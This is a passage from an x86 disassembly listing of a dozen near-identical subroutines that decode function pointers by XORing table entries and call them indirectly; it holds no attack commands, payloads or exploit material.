mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AAACA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AABC7 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA20o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 5Dh
mov [ebp+var_2C], 68h
mov [ebp+var_28], 97h
mov [ebp+var_24], 0C0h
mov [ebp+var_20], 0EFh
mov [ebp+var_1C], 0CBh
mov [ebp+var_18], 0DDh
mov [ebp+var_14], 78h
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AAC58
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AAC58: ; CODE XREF: sub_4AABC7+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AABC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AACC4 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA24o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0D1h
mov [ebp+var_2C], 0C4h
mov [ebp+var_28], 41h
mov [ebp+var_24], 0
mov [ebp+var_20], 89h
mov [ebp+var_1C], 9Eh
mov [ebp+var_18], 3
mov [ebp+var_14], 2Ah
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AAD55
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AAD55: ; CODE XREF: sub_4AACC4+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AACC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AADC1 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA28o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0ECh
mov [ebp+var_2C], 53h
mov [ebp+var_28], 0DBh
mov [ebp+var_24], 78h
mov [ebp+var_20], 0BEh
mov [ebp+var_1C], 7Dh
mov [ebp+var_18], 58h
mov [ebp+var_14], 8Bh
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AAE52
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AAE52: ; CODE XREF: sub_4AADC1+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AADC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AAEBE proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA2Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C2h
mov [ebp+var_2C], 0C9h
mov [ebp+var_28], 85h
mov [ebp+var_24], 9Ah
mov [ebp+var_20], 9Bh
mov [ebp+var_1C], 0E2h
mov [ebp+var_18], 51h
mov [ebp+var_14], 6Fh
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AAF4F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AAF4F: ; CODE XREF: sub_4AAEBE+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AAEBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AAFBB proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA30o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Ch
mov [ebp+var_2C], 7
mov [ebp+var_28], 47h
mov [ebp+var_24], 0BCh
mov [ebp+var_20], 44h
mov [ebp+var_1C], 90h
mov [ebp+var_18], 6Eh
mov [ebp+var_14], 72h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB04C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB04C: ; CODE XREF: sub_4AAFBB+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AAFBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB0B8 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA34o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0ACh
mov [ebp+var_2C], 9Bh
mov [ebp+var_28], 0D4h
mov [ebp+var_24], 7Bh
mov [ebp+var_20], 65h
mov [ebp+var_1C], 1Eh
mov [ebp+var_18], 0A5h
mov [ebp+var_14], 62h
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB149
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB149: ; CODE XREF: sub_4AB0B8+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB0B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB1B5 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA38o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Dh
mov [ebp+var_2C], 5Bh
mov [ebp+var_28], 0F6h
mov [ebp+var_24], 2
mov [ebp+var_20], 0D5h
mov [ebp+var_1C], 15h
mov [ebp+var_18], 2Fh
mov [ebp+var_14], 39h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB246
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB246: ; CODE XREF: sub_4AB1B5+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB1B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB2B2 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA3Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Ah
mov [ebp+var_2C], 50h
mov [ebp+var_28], 0F8h
mov [ebp+var_24], 60h
mov [ebp+var_20], 8Eh
mov [ebp+var_1C], 0D8h
mov [ebp+var_18], 0E3h
mov [ebp+var_14], 0F9h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB343
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB343: ; CODE XREF: sub_4AB2B2+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB2B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB3AF proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA40o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 90h
mov [ebp+var_2C], 71h
mov [ebp+var_28], 5Ch
mov [ebp+var_24], 0B3h
mov [ebp+var_20], 71h
mov [ebp+var_1C], 0C4h
mov [ebp+var_18], 0B2h
mov [ebp+var_14], 4Ch
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB440
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB440: ; CODE XREF: sub_4AB3AF+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB3AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB4AC proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA44o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0BBh
mov [ebp+var_2C], 45h
mov [ebp+var_28], 0
mov [ebp+var_24], 16h
mov [ebp+var_20], 0DDh
mov [ebp+var_1C], 48h
mov [ebp+var_18], 1Fh
mov [ebp+var_14], 0E0h
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB53D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB53D: ; CODE XREF: sub_4AB4AC+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB4AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB5A9 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA48o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Ah
mov [ebp+var_2C], 6Ch
mov [ebp+var_28], 0D4h
mov [ebp+var_24], 66h
mov [ebp+var_20], 14h
mov [ebp+var_1C], 0B8h
mov [ebp+var_18], 0FBh
mov [ebp+var_14], 0EBh
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB63A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB63A: ; CODE XREF: sub_4AB5A9+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB5A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB6A6 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA4Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 94h
mov [ebp+var_2C], 74h
mov [ebp+var_28], 0DDh
mov [ebp+var_24], 0B1h
mov [ebp+var_20], 89h
mov [ebp+var_1C], 66h
mov [ebp+var_18], 0Fh
mov [ebp+var_14], 1Bh
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB737
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB737: ; CODE XREF: sub_4AB6A6+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
